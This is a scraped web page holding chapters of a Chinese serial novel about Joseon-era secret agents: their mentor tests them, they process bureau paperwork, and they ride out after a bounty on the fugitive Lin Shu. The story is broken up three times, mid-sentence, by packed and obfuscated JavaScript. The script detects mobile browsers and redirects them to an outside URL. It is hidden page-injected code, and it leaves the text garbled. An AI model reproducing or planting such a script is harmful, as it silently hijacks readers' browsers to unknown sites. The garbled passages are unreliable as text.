正在此时,内堂门外传来急促的敲击声,不多时门便从外面被打开了,是洪英打开的。随之跳进来的是一只毛色灰白的鸽子,腿上还绑着布条。 这是一只信鸽,方才的响声就是它用喙撞击木头发出的。 李珘赶紧上前将鸽子抓到手里,解下鸽腿上的布条,打开只看了一眼,表情便瞬间耷拉了下来,面上的皱纹似乎更深了。 韩时元问道:“谁发来的?” 李珘道:“......台里的。哎哟,有得忙了。你,还有景熙,我们得回一趟曳扇台。” 12. 解忧其七 曳扇台。 也许是知道李珘他们要过来的原因,代理官员此刻不像上次一样守在前厅,而是在内厅等候。 李珘一步入内厅,便走了过去和代理官员打了个招呼。攀扯了一段话后,李珘转身指了指已经坐在会议桌前的宋景熙和韩时元两人,悄声对代理官员道:“小代啊。这样这样,如此如此,那般那般...” 宋景熙根本没注意到李珘和代理官员的对话,他正和坐在对面的韩时元有一搭没一搭地闲聊着。想起在存善堂李珘最后说的那句话,便问道:“其实,在存善堂周围设置密使守卫,并不只是为了保卫存善堂的安全,也是为了监视吧。” 韩时元托着下巴,一副懒懒的模样,但坐得挺直。宋景熙一问,他便回答道:“当然,谁又能说这不是一种监视呢。我们对存善堂也不可能有着完全信任,不过即便他们有异心,也决计无法行动。” “......”宋景熙似乎陷入了沉思,而后恍然大悟道:“里面的人出不去,外面的人也进不来。” 韩时元微笑道:“是这样没错。” 宋景熙长长地哦了一声:“所以,这就是我那日拜访存善堂,而洪医官却仿佛提前知道我来了,还一点也不惊讶的原因了。”他接着也微笑地看着韩时元道:“所以,一直在跟踪我的,就是你吧。韩、时、元。” 韩时元哑了:“我......” 这时,李珘走了过来,双掌啪地拍在桌上,笑眯眯地道:“景熙啊,听我说,是这样的...” 原来,李珘拜访存善堂并且洪医官答应协助调查后,便透露了药草的来源——金哲。只要能在金哲手里拿到解忧草,那就能坐实金哲的罪证,将他抓起来审问。因此李珘派韩时元潜入过金氏药铺和金宅,结果什么也没找到。除了药铺里关于解忧草的记录,无论是药铺还是金宅,真的一点解忧草的痕迹都没有。 既然没有证据,不走流程直接将金哲抓过来也不是不可以,这是曳扇台的权力。但李珘没有选择直接抓。 不是他这个人喜欢师出有名或者讲究证据,而是有别的考量。那时他和韩时元已经在汉阳,而宋景熙又恰好在江原道出公差,人不在汉阳。六年不见,即使有代理官员关于宋景熙执行任务的“优秀”记录,但李珘还是决定用金哲案这个机会来探探宋景熙的实力。 密使么,无非就看重两个能力,一个打架的能力,遇到危险的时候能保命,一个潜入的能力,毕竟不是什么事情都是打架能解决的,秘密行动才是密使的常态。也就是说,在李珘的刻意安排下,“不知情”的宋景熙得重走一遍韩时元潜入过的路线。 按李珘自己的话来说,就是:“能验证你潜入的本事,岂不美哉。如果这本事不行,潜入失败了,那应变突发状况的能力也算考察的重点。如果不慎打起来了,武力如何更是考察的重点。如若连武力都不达标——不过既然是我亲传徒弟,这点应当不可能。当然了凡事有个万一,若你途中出了什么岔子,暴露了目的,引起金哲警觉了,也不用担心,时元不是一直在守着你吗,但凡有个闪失,他带过去的人马上就能抓了金哲。” 宋景熙眨了眨眼。 李珘继续道:“不仅如此,其实我特意布置了两条线。一条就是曳扇台里发布给你让你调查的金哲案,你需要亲身经历的,另一条你应当知晓,是司宪府的金哲贪污案,这条不是用来查他的,只是吓吓他,让他知道自己现在处境可不好了。正如一个做错了很多事的人往往会将最大的坏事隐藏得最深,而对于小事则没有完全隐藏的能力,正因为不能完全隐藏,所以必然会疑神疑鬼,如若金哲他和废世子案有关,那他也定然会在这些被他隐藏的“小事”上疑神疑鬼,担心任何可能会导致他被调查的罪名,担心这些小罪名的调查会牵扯出大罪名。” “况且,依上月金哲和户曹闹出的事情来看,金哲不是个能沉住气、办大事的,再者二十多年前我被害之时,金哲还是个没有功名的读书人,连官场的门都没踏进去,没理由害我,更没能力害得到我,所以我和时元都认为,金哲并非主使。多半是他只是参与了废世子案,是废世子中的一通关节,而主谋另有旁人。一旦金哲因这些小罪名而陷入被调查的窘境,不仅金哲沉不住气,金哲头上的主谋也可能会坐不住。但凡金哲或任何朝廷上的官员有异样的动作,义禁府和曳扇台都会对其重点关心。” 韩时元淡淡道:“可惜,金哲除了在府中设防以外并无其它异动。朝中官员也一样,几乎无人关注金哲。” 李珘的眼睛忽然闪了闪:“这都无所谓,其实司宪府这条线也并不是全无结果啊,至少这告诉我们金哲背后的主使相当有底气和手段,不是个好拿捏的家伙。不过么,至于景熙你这条线,没想到还真是那万分之一的情况,我看到时元将你带过来的时候就知道他肯定出手了,多半是你出了岔子。哈哈,果然很多计划也不总是如我预料嘛。” 宋景熙双臂抱于胸前,微微一笑,朝韩时元看去,道:“不是我出了岔子,我早就知道有人在跟着我了。不输一下,怎么让他现身?不信您问他。” 韩时元居然做起和宋景熙一样的动作,并朝李珘看去,神色真诚地略一颔首,表示宋景熙说的都是真的。 李珘讶然一瞬,随即哈哈大笑道:“原来是这样,那景熙你合格了!名师出高徒么,我还是小看你了嘛哈哈哈哈哈——” 看李珘好像心情很好,好像什么都说。宋景熙也微笑起来,他可没忘记李珘之前说的话,说什么“现在还不是时候,等以后有机会了再谈”,那什么时候才有机会,他觉得现在就是机会!这样想着,便趁热打铁道:“所以说老师,眉寿山的事究竟要到什么时候才告诉我?” 李珘瞬间止住了笑声,从座椅上弹了起来,自言自语道:“搬书去了搬书去了......” 宋景熙也噌地站了起来,大声道:“坐下!”他放声完意识到自己过激了,呃了一声,缓和脸色和语气道:“请您坐下,老师。” 李珘显然被这一声吓定住了,他是没见过宋景熙这个徒弟吼人的,也是没见过这个徒弟神色这么严肃的,心知这回是不好逃避这个问题的了,只好坐了回去,长长地叹了一口气,一只手放在桌上,一只手放在腿上,叹息道:“景熙啊,眉寿山这件事是我们对不住你,但当年的确是有说不得的难处,不得不像你隐瞒至今,其实现在也还是不能告诉你......但我们向你保证!等废世子案结束了,我们就向你结清此事,你有疑的、想问的我们绝对毫不保留地悉数回答!也决计不会瞒你太久...只是需要时间......哎唷你说是不是啊时元!”他说完朝韩时元使了使眼色,示意一动不动的韩时元表示一下。 在两人的注视下,韩时元道:“是。” “好吧。”宋景熙收回视线,依旧拧眉道:“既然老师这么承诺了,那我只能期待老师信守承诺了。但我有一点不明白,我实在想不出究竟有什么需要向我隐瞒的原因?” 李珘道:“秘密就是因为猜不到所以才叫做秘密啊,唉,其实我也没料到会发生那些事情,有些事情要是不知道反而是最好的,算了不说了。景熙,有件事我得先向你说清楚,既然现在我回来了,那往后你们就有得忙了,之后我大概要派你和时元你要去其它地方,你去这些地方时,千万不要向家中告知你去了何处、去做何事,一旦家人问起,只说是例行公事监察走访去了便可,可能答应?” 他这话说得严肃,宋景熙心想向家中保密也只是为了防止曳扇台消息走漏罢了,要求保密这很正常,算不得什么,于是果断答应道:“好,铭记在心。” 李珘鼓掌道:“那就好啦。还记得我说的‘有得忙了’么,没忘记?那就随我搬书去......” 话音未落,内厅门前突然出现个代理官员,代理官员抱着一大堆公文走了过来,摊在桌上。 李珘朝代理官员道:“就这些?” 代理官员摇头道:“不,还有很多。” 李珘抓了把胡子,嘶了一声,朝宋景熙和韩时元两人挥手道:“我就说有得忙了吧,别傻坐着了,来搬书。” 四个人齐心协力,书库和内厅来来回回一共搬了五趟,总算将所有公文搬到内厅了。这些公文被全部堆在桌上,宛如一座座连绵高山。 李珘大手一挥,指点道:“这堆这堆还有这堆,全部批阅完!”说罢搓了搓手掌,拉了把椅子坐到主座上,又丢给宋景熙和韩时元各一支笔:“自己取墨去,记得用红的!” 宋景熙满脸不可置信:“为什么会有这么多?还有,批阅公文不是台主的事吗,为什么我也要?等等...难道这就是您说的急事??” 李珘已经翻开一本了,边读边道:“天啊孩子大了连长辈的忙都不帮这和白眼狼有什么区别简直让我痛心疾首不说了快点批待会我还要进宫一趟这些东西就麻烦你们了。” 飞速说完以后,李珘和代理官员已经进入了工作状态。宋景熙还在错愕着,对面韩时元已经取墨回来了,他将研好墨的砚台推给宋景熙,二人共用。 坐在对面共用一个砚台,面前还挡着这么高的公文,总觉得怪怪的,连蘸墨也不顺手。宋景熙想了想,带着笔换了个方向,坐到了韩时元身旁。 韩时元挑眉看他,宋景熙悄声解释道:“那边用笔不方便。”随即坐定,然而刚翻开第一则文书,他便侧头问道:“老师待会要进宫?主上召见么。” 韩时元微微颔首,也悄声道:“召他很久了,回汉阳以来便一直在召他进宫,但他一直拖着,今日是最后期限。” 宋景熙无声哈哈一笑,这个随心所欲的老家伙,全海东也就他敢受召而不奉行了。又好奇道:“再不去的话会有什么后果么?” “有啊,理所应当。”韩时元道:“但不会太严重,最多是不给台里补廪费罢了。” “原来如此。”宋景熙道:“那他今日一定会去了。” 他之所以这么肯定,也是有原因的。 十几年前李珘刚做曳扇台主那会,那时刚接手,台里廪费紧张,为了开源节流,李珘做了个后悔终生的决定:不给任何密使拨款,包括他这个台主。 也正是因为他这个决定,不少从底层上来的密使觉得太过压榨人,本就辛苦,累死累活的,台里还不发薪俸,只有两班出身的子弟才干得下去——这些出身的还只占极少数,渐渐的台里离职了十多位密使,不给批离的密使也自己跑了。李珘悔不当初,只好又做了一个后悔终生的决定:密使照常发月俸,台主不发,悉数充公。 这样下来,众密使们日子是好过了,倒是苦了他这个台主,以及跟着他这个台主的韩时元,两人日子过得本就紧巴不说,还常年出公在外,穷得叮当响。好在韩时元也是密使,还能拿一拿月俸,本身又是台主亲手教出来带在身边的密使,水平高能力强,自然拿到的俸禄会高一些,偶尔师徒二人在外也能得到当地士族的接济,倒也没有穷到哪里去...... 为了曳扇台的开支,李珘是“不折手段”的。王上不给曳扇台补廪费,这绝对是李珘无法接受的,所以,他一定会在最后期限前进宫谒见。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773761|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >闲话说毕,认真批阅公文。宋景熙将视线聚集在公文上,从注明来看,这是咸镜道曳扇台主发来的公文。 很久之前,曳扇台只在汉阳有设置,也就是只管王京内外的事情,后来曳扇台的作用扩大之后,曳扇台便被逐渐开到了全国八道,每道一个,统称为某地分台。地方分台完全听命于汉阳的曳扇台,而且每半年便需要向汉阳以文书的形式述职,每三年还需要回汉阳参加集议。只不过“进京集会”的规矩几乎成了一纸空文,因为台主一直不露面,连行踪也完全不确定,去了也是白搭。 在宋景熙手上这册公文底下,一共二十一本,全部是咸镜道曳扇台发来的文书。宋景熙随手翻了翻就被震惊到了,瞠目结舌道:“为何会有这样多??” 韩时元倒一点不震惊,道:“前些日子老师借着回汉阳,让地方八道所有分台都将公务日志及卷宗呈上来考绩,整整六年,不用想也知道有多少。咸镜道的,是最少的。” “天啊。”宋景熙有些咬牙切齿:“老师是疯了吗?之前不是有代理官员每年都处理过,为何还要堆到一块来整理??” 韩时元道:“或许亲力亲为更为安心。” 宋景熙咬牙继续看下去,这位咸镜道台主的述职公文极其无聊,讲了很多废话,最后只委婉地提到培养密使的钱粮不够,希望总台能多拨些钱款。 宋景熙觉得这不是自己能决定的,于是暂时搁置在一旁,准备翻开第二本时,却听见主座上的李珘突然发出一声惊天的疑惑。 李珘捧着一本公文,凑得极近极近,道:“又是个要钱的?没看错吧,怎么一个两个都在要钱?你们快看看,难道这一堆全部是在向我哭穷的??” 宋景熙赶紧翻开第二本,忠清道,密使太多,哭穷。翻开第三本,黄海道,密使太能吃,哭穷。 每道皆有几十本文书,而每十本里又至少有三本是在哭穷。李珘恶狠狠地在其中一本哭穷的公文上戳了否决两个大字,难掩怒色道:“这些家伙,是不是真以为台里没有我这个台主了,以为没人管了,猖狂了!除了庆尚道以外,一个两个都在伸手要钱,还都是些乱七八糟的理由!” 代理官员也一边默默在哭穷的公文上写下否决两个字,一边道:“之前因为要的少,而且是以培养新进密使为由,所以我便答应了,但也只批了一部分。后来,也就是现在,他们的胃口越来越大了,即使我不批,他们也一直会要。” 李珘又在另一申请拨款的公文上批下否决,还被气得拍了拍桌,骂道:“我不是定了名额和份额吗?谁教他们养那么多密使的,我看他们不是将密使名额送给亲眷、便是拿密使名额拿来交易买卖了吧!是想让我拿着钱养着他们这群废物吗?看来我还是太信任这群畜生了,才几年没管着这些家伙,竟敢将手伸到外面去!” 骂完了,总得找个解决办法,李珘稍加思索后便道:“小代啊,我不在的日子真是辛苦你了。我知道你很为难,这些家伙不把你放在眼里,不服你的管,那你就以我的名义叫他们十日之内都给我滚过来,我来整治整治他们,告诉他们自己怎么做,做不好就给我滚蛋!我有的是人换了他们。” 此话一出,代理官员感觉身上的担子轻松了不少,道:“是,我这就去传信。” 代理官员刚走,李珘将整理出来的申请拨款的公文分了一批到宋景熙和韩时元那边,催促道:“全部写上否决记得印上我的私印赶紧的。” 飞快将这些公文处理完后,李珘拍了拍手,仿佛在宣誓大功告成,笑呵呵地拿出随身携带的烟斗准备点燃,却发现烟叶已经燃烧殆尽了。他只要工作完,烟瘾便会犯上来,不抽便难受。只好在正厅里翻箱倒柜地找,也没找到能用的烟叶子。 李珘挠了挠脑袋,疑惑道:“奇怪,这里不是一直备着烟叶子吗,怎的没了?时元——” 韩时元立刻道:“那是多久之前的事了?这里没有烟叶,从蔚州带过来的烟叶已经用完了。” “这样啊。”李珘失望地啊了一声:“那这样,时元——” 韩时元又立刻道:“别想了,老师,没钱买。” 李珘瞪大眼睛道:“胡说,烟叶子才多少钱?你我已然穷到这个地步了?不可能!“ 韩时元道:“蔚州是蔚州,汉阳是汉阳。汉阳的烟叶价格是蔚州的五倍不止。” 李珘嘀咕道:“就算涨价了,你手里头不还有些银子么。几两烟叶才多少钱,骗人的臭小子。” 韩时元叹了口气,拿出钱袋子,轻轻晃了晃,那袋子空荡荡的,都不用打开看,光靠听,也能知道连铜板都不剩几个了。他不慌不忙道:“您忘了,从蔚州到汉阳的行程,也是要开销的。” 李珘手上的烟斗抖了一下。他当即转向宋景熙,大惊失色道:“景熙啊!好徒儿啊!吏判家应该还挺有钱的吧?!” “有钱是有钱...”宋景熙一阵捧腹,心想难道是让他接济点?还没捧腹完,忍笑道:“不过老师,台里不给密使拨款的规矩可是您制定的,您这真是搬起石头砸自己的脚了!” 李珘面露悔色:“如今台里用度没那样紧张了,我是不是该改一下当初不给自己发俸禄的决定了...”等他后悔完,又完全将这事抛之脑后了。 李珘恨恨地抽了一口烟,尝到了一股焦糊的熏炭味。突然他将眼珠子一转,笑呵呵道:“时辰好像到了,我得进宫一趟了。得了得了,剩下的都不难处理了,就交给你们俩个了,有问题去找小代。少来找我哈。” 还不等二人表态,他说完便当即丢下毛笔,急匆匆地走了。 13. 空亡其一 宋景熙要被累死了。 他和韩时元以及代理官员一同处理了整整一日,才将所有公文处理完毕。此刻是夜半时分。 动了动酸痛的手腕,宋景熙不太体面地坐在椅子上,有气无力地道:“既然是考绩的话,全权交给代理官,这样好吗?” 韩时元也放下笔,道:“放心。他虽对分类整理这种事不算上心,最终核对还是要他亲自看,不会假手于人。八道的地方台主因为工作不认真的,都被他换了几个了。” 宋景熙乐道:“原来是这样,看来这回集会,那群家伙们不会好过了,往后多半不会再见到他们了。” 这时,消失了一阵的代理官员走了进来,依旧是保持着最原始的微笑,手里还拿着一张纸,朝屋内二人道:“辛苦二位了。” 宋景熙道:“不辛苦。这张纸是什么?” 代理官员颇为不好意思道:“这是台主方才传过来的信件。实在是辛苦二位了,十分抱歉,恐怕二位又有的忙了。现下有一桩案子,需要二位前往解决。不知二位是否听说过南邑之案?” 宋景熙摇了摇头,他对南邑这个地方都不熟悉,更别说南邑发生的案子了。韩时元却道:“南邑灭门案?” 宋景熙惊讶道:“灭门?”这两个字,挺罕见的。 代理官员点头道:“正是,南邑灭门案。原来宋大人尚不知晓。此案说来简单,南邑衙门有一林姓官员,是为衙门吏房,一家九口人,一夜之间惨死八人,皆以一利斧夺命之,唯独只剩下一名庶子,名唤林树。清晨时有人路过林家家宅,发现其家中惨状,故而报官,官衙官员进入林宅时,林树正枕在血泊中安睡。林树也因而被指为凶手并抓获,虽然此人一直不肯认罪,但铁证如山,南邑衙门判其斩首。” 宋景熙道:“这样的案子,简直闻所未闻......” 代理官员继续说道:“然而行刑前一日晚,林树从狱中逃跑,并且杀死了两名狱吏。南邑衙门和捕盗厅一同找了多日,至今未能将林树重新抓获。捕盗厅不得已只能在各地城邑颁布悬赏令,但有提供线索者,赏钱五十两,缉拿归案者,赏钱五百两。” 宋景熙哦了一声:“五百两钱,对于那些以悬赏令为生的赏金客来说,是一笔相当不错的生意了。不过副台,需要我们去解决又是什么意思?” 韩时元托着下巴,百无聊赖地居然打了个哈欠,替代理官员答道:“看来老师是想让我们接下那则悬赏令,赚取赏金,补贴台中用度了。” 代理官员再度点头:“正是。” 宋景熙吃惊道:“什么?台里的廪费已经短缺到这种程度了吗?连民间赏金也要争一争。其实...如果真的很缺的话,我手头的体己钱不算少,充公一部分也不是不可以。” “宋大人是想给台里捐善款?”代理官员陷入了沉思,解释道:“以往也有密使被派出去揭悬赏令的时候,只是近年来很久不曾这样做了,如今台中廪费虽不充足,却也并不短缺,只是台主认为钱多不误。若是宋大人觉得此事麻烦,不愿接手,也并非不可,不过既然介入南邑的案子是台主的主意,还是需要过问台主的意思,不如等我传信一则,待台主回信表明意见后再决定如何?” 宋景熙连忙摆手道:“不不不,副台误会了。只是说如果台里情况紧张,我能帮忙资助一些。既然是老师的意思,又怎会有不去的道理?” 代理官员松了一口气,笑道:“那就辛苦二位了。此案不着急,现下天黑,不适合出行,二位不如先行歇息,至天明再出城。” 宋景熙本来不怎么困,现在代理官员这么一说,才意识到自从昨日夜晚从存善堂回来,到现在已经一整夜一整日没有休息了。正厅左右各配有一间卧房,他和韩时元正好一人一间。他懒懒地打了个哈欠,道了声好,往正厅旁的卧房去,走到门口时,又扭头朝正厅看去。 韩时元依旧坐在那里。巧的是韩时元也看着他,宋景熙歪头道:”你不睡?” 韩时元轻笑道:“待会,我不困。你先睡吧。” 宋景熙点头道:“好,早些歇息,明日还要赶路呢。”随即转进了卧房。 片刻后,代理官员道:“大人,马上丑时了,您不睡?” “不着急。”说罢,韩时元沉默了一会,才又道:“汉阳城的悬赏令都贴在哪?” 代理官员琢磨琢磨,完了,道:“西城区。” 韩时元:“哪条街。” 代理官员:“到处都是。” ...... 西城区,某街。 也许代理官员说的不错,悬赏令原本应该确实到处都是,但现在显然不能这么说。 因为几乎所有关于南邑灭门案凶手的悬赏令都被揭走了,剩下的都是一些无关紧要的小杂碎。 好在也不是没有漏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773762|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 网之鱼。韩时元找到第六个告示栏时,栏上还剩下最后一张悬赏令,一副人脸画像下写了两个大字:林树。 不知是否是因为贴得太高,所以没被拿走。总之很幸运,归他韩时元了。然而在他伸手将悬赏令时,突然,背后有一人叫喊道:“住手!那是我的!” 韩时元的手只顿了一瞬,然后立刻将悬赏令撕了下来,也不看背后来人是谁,总之不是他熟悉的声音,那就没必要停留,扭头便往另一边走。而来人似是因为他的无视而被激怒了,嗒嗒嗒追了上来,道:“靠!不是说那是我的了?竟敢抢我的东西,知不知道我是谁?还不快还回来,要不然我砍了你的手!” 韩时元置若罔闻,自顾自地走,并且加快了脚步,三两下便拉远了距离。跟在他后边的人以为他想逃跑,拼命追上去,心底骂翻天了,还从来没有谁让他追过,还没有谁这么敢不听他的话过!于是恶向胆边生,伸手试图抓住韩时元的肩膀将人掰过来,并恶狠狠给上一耳光! 然而他的手甚至没能碰到韩时元,只是刚伸出去,韩时元便迅速转身拔出腰间的短刀,利落地抵在男子的脖子上,语气冷漠道:“先来后到,不懂吗?” 即便在黑夜里看不清五官,似乎也能看见这年轻男子已然脸色涨红,可这男子却依旧不饶人道:“你、你你,我,我我。放开我!你算什么东西,敢伤我,我要你全家的命来赔!” 韩时元不想和他多做计较,一看这人一身贵气的衣着打扮,便知此人是个娇生惯养的贵族公子哥儿,平常一定嚣张惯了。他最讨厌和这种人相处,连一句话也不想多说。翻了个白眼,收回短刀,不耐烦道:“滚。” 韩时元走了,年轻男子却还在叫喊:“喂!东西还过来,你他妈的,听见没有?!” 许是他叫唤的声音太大,吵醒了这一片街坊的人,从他身旁边一栋民居里走出一位凶神恶煞的疤脸男子,怒喝道:“妈的狗崽子大半夜吵什么吵?要死啊!” 年轻男子心情本就糟糕,经不得骂,这番又一遭骂,怒气噌噌上窜,也怒喝回去:“该死的狗东西,给我闭嘴!你又算哪门子的玩意,想打架吗?!” 疤脸男子怒骂道:“娘的,还没谁敢给老子这么说话的,别以为你穿得像是个人物老子就怕你,老子又不是没杀过高官,打啊!” 街坊邻居全醒了。顿时,西城区的这一整条街陷入一片叫骂和械斗声中。 14. 空亡其二 清晨。 宋景熙睡了一个整觉醒来,感觉浑身轻松了不少。 走出卧房时,见正厅内只有代理官员一人,便道:“他呢?” 代理官员自然知道宋景熙问的是韩时元,便微笑回应道:“正在院外等着宋大人呢。” 出了曳扇台,果然见韩时元正牵着一匹马,虚倚在墙边,手里拿着一张泛黄的纸,细细端详着。 宋景熙看见了他,他自然也看见了宋景熙。待宋景熙走近,韩时元便将手中纸页递过。这正是昨日晚他撕下的悬赏令。 宋景熙一看,惊喜道:“竟然是林树的画像,你何时拿到的?速度好快。” 韩时元轻笑道:“不远处便有,一醒来便去取了,不算麻烦,自然快。” 宋景熙点了点头,原本他还担心要是悬赏令全部被人揭走就麻烦了,因为没有画像会使找人的难度大大提升,况且领取悬赏金也需要悬赏令作为凭证,如果没有悬赏令,那只能拿到半成报酬,亏的不是一星半点。 不仅如此,韩时元甚至连马都备好了。虽然...只备了一匹?不过,宋景熙再次心中感叹,靠谱! 看悬赏令,画上最惹人注目的便是南邑灭门案凶手——林树的墨笔画像。画像上的林树眼神凶恶,额头凹陷,颧骨突出,鼻头窄小。是让人看了会觉得不舒服的长相。画像下除了写着犯人的名字,还简略地写了犯人的其它信息和罪行。宋景熙看了几眼,道:“记住了。”旋即将悬赏画像收了起来。 “南邑离这里不过百里路,我们现在出发,脚程快些,最快午时便能到达。不过...为何只有一匹马?他居然还蹭你,这匹马好亲人,倒不像是借来的。” 韩时元道:“不是借来的,是我养的,在蔚州养大的,自然亲人。” “原来是这样。”宋景熙眨了眨眼,颇有些尴尬,他竟然下意识地以为韩时元去借马了,也是,驿站在西城区,那样远,怎能麻烦别人什么都准备好呢?他道:“不过两个人一匹马,出行总是不方便的,我们再去驿站借一匹马好了。” 韩时元耐心地道:“今晨我去了一回驿站,那里的马匹都被借光了,借不了。原本老师也有一匹马,但被老师骑走了。现下只有这么一匹。” 宋景熙诧异道:“居然被借光了?” 简直没法想法,谁那样大手笔,能将驿站的马全部借走。 “那算了,一匹马就一匹马吧,又不是不能骑。走吧!” 宋景熙率先上了马背。不知韩时元的这匹马是什么品种,足足比寻常的马高了一截。寻常的马宋景熙轻轻松松便能上去,而坐上这匹马,居然还需要韩时元托着他,借一点力才能轻松上去。 等他坐稳了,韩时元也上了马。宋景熙好心地伸出手,拉人一把,尽管韩时元握住了他的手,但宋景熙觉得,好像自己手上根本没使什么劲,韩时元便上来了。 宋景熙在前,韩时元在后。后者在马背上占据了一大片位置,挤得宋景熙甚至感觉有些呼吸不便,他从未与人共乘过马匹,身后坐着个人,总觉得不习惯,但想想只有一匹马,也不好要求什么,毕竟马还是人家的。 宋景熙来掌马,速度不快,出了城后,便问道:“往哪个方向去?” 韩时元手里捏着个舆图,道:“左边。” 马蹄飞扬一阵后,身后的汉阳城已经成了一个点。 这时,韩时元又道:“你累了的话,换我来也成,你坐后面?” 宋景熙果断道:“不必,这个速度很好,才几个时辰的事,不需要换人。你看好舆图,指方向就行了。” 又是一阵后,突然,二人听到身后传来一阵马蹄砸地的声响,又是一阵尘土飞扬,竟是一人骑着马声势浩大地赶了上来。 这人,宋景熙认识。韩明吉。 对于韩明吉,宋景熙实在是熟得不能再熟了。其一,早在宗学时,宗学内便有两班著名的对立小团队,一个是唯韩明吉马首是瞻的乱七八糟子弟,一个是以郑禹原为首的宋景熙、沈本庭等人,两队人正如同他们的父辈一样,水火难容,互相都是白天问候你怎么还没死,晚上又诅咒对方赶紧去死的好。当然,这诅咒对方去死的人当中不包括宋景熙和沈本庭。其二,韩明吉和宋景熙一样,被各自的爹踹回去考了几年科举,两人考的年数一样,中榜的时间也一样,中榜的排名更是接近得不行:宋景熙是文试丙科倒数第二,韩明吉是文试丙科倒数第一。这事被郑禹原听过去后,狠狠出了口恶气,一有机会便嘲笑韩明吉的脑子不如宋景熙,虽然他自己根本没有文试中榜过。 不知为何,居然能在这里遇上韩明吉,而且还和他们是同一方向。宋景熙暗暗道了一声冤家路窄,心想韩明吉肯定又要嘴上不饶人了。然而韩明吉的眼神却落在了他身后的韩时元身上。 韩明吉盯着韩时元,忽然大声道:“怎么是你?!” 韩时元看见韩明吉的脸,也是定了一瞬,随即冷笑一声,并不回答。 韩明吉瞬间怒气上头,但竟然将怒气压了下去,反而朝着宋景熙幸灾乐祸地道:“喂!宋景熙!吏判什么时候这么落魄了?连两匹马也用不起!” 可怜他终于出了这么一口恶气。昨日晚在西城区吃了亏后,他好不容易从群殴里逃出来,所幸没挨到打,事后才知道自己居然混进了蜗居在西城区里的几个帮派地盘里。本来想给这群人教训,但想想还是觉得是那个揭了本该属于他的悬赏令的人的错。他知道这些揭悬赏令的人无非是为了拿着画像去找人和领赏,而这群人通常没有私马,出行全靠借。于是他将汉阳城里的马匹全部借走了。 他就不信,那该死的人还能借到马! 直到方才在前去南邑的路上,居然看见了穿得和昨晚抢他悬赏令的人一模一样的人!他赶紧追上去,居然又看见了宋景熙!想到这,韩明吉不由自主冷笑一声。宋景熙这家伙居然还和帮派的人有勾结,还借马匹给人家,不会是拿着悬赏令帮人家去抓人了吧?真是自甘下贱! 呵,至于他为什么也要去南邑么,他是永远不会告诉任何人的! 然而无论他怎么嘲讽,宋景熙始终装作没听见他说话,并且逐渐放慢了马步,他本就行得不快,这番慢下来,马似乎已经在原地踏步了。等远远地落在韩明吉之后,韩明吉的马已经昂扬而去了。宋景熙听到身后韩时元哼道:“这人真讨厌。” 宋景熙道:“他叫韩明吉,和我有些仇。我认识他不奇怪,可他怎么一副认得你的样子?你和他见过?” 韩时元如实道:“去取悬赏令时见过,他要抢我的,我没让他得手。” 宋景熙也哼了一声,道:“还真是他一贯的作风。不过话说回来,他要悬赏令干嘛?看他去的方向,好像也是南邑的方向,难不成他也要去抓人?” 韩时元道:“有可能。不管他的目的是什么,总之一想到往后有可能会遇上他,心里便糟糕的很。” 宋景熙听着韩时元的语气,觉得有些不对劲,道:“你好像很讨厌他。他为难你了?” 韩时元嗯了声:“非常讨厌。” 宋景熙安慰道:“不用在意他,他这人就这样,什么都得顺着他,谁不顺着他他就给谁尝尝苦头。你也不必担心他为难你,因为他这人讨厌的人多了,在他心中都有个先后次序。他讨厌的人扎堆在一块,他一定先为难他最讨厌的,比如我,比起你,他还是更讨厌我。要是在南邑遇上他了,他也定然不会先找你的麻烦,而是先找我的,我都习惯了,只要不理睬他便是了。别担心,何况他也找不了你的麻烦不是?” 韩时元声音闷闷的:“那样我只会更担心。” 居然没有安慰好。虽然看不见韩时元的表情,但宋景熙大概能想象到。他琢磨琢磨,终于发现韩时元的意思可能是担心韩明吉找他宋景熙的麻烦,于是哈哈笑道:“他可为难不到我,韩明吉他这个人么,无非就是找我打架,或者骂我两句过过嘴瘾。若是后者,让他骂两句也不会少块肉,在我眼里,我只会觉得他骂人的样子很好笑。若是前者,他也打不赢我,再说了,即便他偷袭我,不是还有你么。放宽心吧,来都来了,还用怕他?” 韩时元笑了一声,并道:“好,我知道了。” 再行了一段路程后,两人竟看到早已绝尘而去多时的韩明吉骑着马在路中四处乱晃,一脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773763|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迷茫,看到宋景熙和韩时元后,脸上的迷茫顷刻间变成了羞怒。 宋景熙策马接近,背后韩时元抖抖手里的舆图,挑眉道:“韩大人这是迷路了?” 这是挑衅啊!挑衅! 宋景熙也觉得惊奇,韩时元方才还一副看见一句话都不愿和韩明吉多说的样子,现在居然还可以出言呛人了。 韩明吉气愤地道:“我这是在等你们!你们也太慢了!” 